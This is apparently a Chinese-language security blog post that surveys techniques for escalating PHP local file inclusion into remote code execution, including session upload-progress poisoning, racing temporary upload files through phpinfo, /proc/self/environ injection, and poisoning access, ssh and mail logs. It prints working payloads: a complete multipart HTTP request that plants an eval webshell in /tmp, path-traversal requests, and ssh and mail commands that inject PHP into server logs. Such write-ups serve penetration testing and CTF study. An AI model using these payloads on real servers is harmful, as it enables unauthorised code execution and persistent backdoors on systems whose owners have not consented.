最近遇到了比较多的通过 LFI 提到 RCE 的漏洞利用方法。尤其是在遇到有 phpinfo 的情况下,这里做一个简单的总结与介绍。
LFI
- 利用 session upload_progress
- 利用上传临时文件窗口期
- 利用环境变量
- 利用日志
总的来说,一般可以用 session 包含的方式尽量避免用 tmp 竞争的方式…血的教训…
session upload_progress
条件:开启session.upload_progress.enabled
,session 文件路径已知,且其中内容部分可控。
当
session.upload_progress.enabled
INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态当一个上传在处理中,同时 POST 一个与 INI 中设置的
session.upload_progress.name
同名变量时,上传进度可以在$_SESSION
中获得。 当 PHP 检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值。
php 的 session 文件的保存路径可以在 phpinfo 的 session.save_path 看到。
常见的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
我们可以构造一个上传界面
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<form action="http://zedd.cc/" method="POST" enctype="multipart/form-data">
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
</form>
</body>
</html>
发送以下的 HTTP 请求
POST /?file=/tmp/php/sess_a HTTP/1.1
Host: xxx.cc
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://zedd.cc/upload.php
Content-Type: multipart/form-data; boundary=---------------------------695725616119701971467121808
Content-Length: 703
Connection: close
Cookie: PHPSESSID=a
Upgrade-Insecure-Requests: 1
-----------------------------695725616119701971467121808
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php file_put_contents("/tmp/a",'<?php eval($_POST[\'a\']);?>');?>
-----------------------------695725616119701971467121808
Content-Disposition: form-data; name="file1"; filename="1.txt"
Content-Type: text/php
1
-----------------------------695725616119701971467121808
Content-Disposition: form-data; name="file2"; filename="2.txt"
Content-Type: application/octet-stream
1
-----------------------------695725616119701971467121808
Content-Disposition: form-data; name="submit"
Submit
-----------------------------695725616119701971467121808--
但是因为 PHP session 会话机制的关系,仅仅一次包含得到的sess_a
文件为空,所以我们需要竞争包含,使用 burp intruder 等形式都可以。
大概30次可以成功7次左右,可以看到包含文件回显,但是看不到具体的文件内容,因为有部分 php 代码被解析了,所以我们可以使用tail -f
监测sess_a
的文件变化查看文件内容,可以看到内容如下:
upload_progress_<?php file_put_contents("/tmp/a",'<?php eval($_POST[\'a\']);?>');?>|a:5:{s:10:"start_time";i:1559816745;s:14:"content_length";i:690;s:15:"bytes_processed";i:690;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:5:"file1";s:4:"name";s:5:"1.php";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1559816745;s:15:"bytes_processed";i:0;}}}
可以发现其中有 php 代码,所以当我们使用include
包含该文件的时候会执行该文件当中的 php 代码,让其执行。
tmp
条件:tmp 文件路径已知
php中上传文件,会创建临时文件。一般默认 php tmp 目录在 linux 下使用 /tmp 目录,而在 windows 下使用 c:\winsdows\temp 目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
如果存在phpinfo()
界面即可配合phpinfo()
界面的回显来利用,例如向phpinfo()
界面上传一个文件,可以得到文件名的回显,再利用一些方法阻塞服务器的操作就可以进行包含了
具体流程如下:
- 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
- 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
- php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
- 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
- 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
- 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
可以参考脚本exp.py
environ
利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
在某些环境中,如果存在读取/proc/self/environ
的权限,可以检查是否环境变量存在有与 HTTP 环境有关的变量,例如HTTP_USER_AGENT
等等
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
类似地,/proc/self/fd/id
(或它的符号链接:/dev/fd
)可以与 HTTP Referer 字段结合使用,以通过 apache2 将 payload 注入打开的错误日志中。 但是要确定当前进程的文件描述符。
log
access log
利用条件: 需要知道服务器日志的存储路径,且日志文件可读。
很多时候,web服务器会将请求写入到日志文件中,比如说 apache 。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入 error.log。默认情况下,日志保存路径在 /var/log/apache2/。
在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。
ssh log
利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
用ssh连接:
ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost
之后会提示输入密码等等,随便输入。
然后在 remotehost 的 ssh log 中即可写入php代码
mail log
如果服务器存在邮件服务,则可以通过邮件发送 payload ,并在/var/log/<user>
下包含相关日志(每个其他用户都有自己的文件)。
mail -s "<?=phpinfo();?>" www-data@victim.com < /dev/null
---
GET vulnerable.php?filename=../../../var/log/www-data HTTP/1.1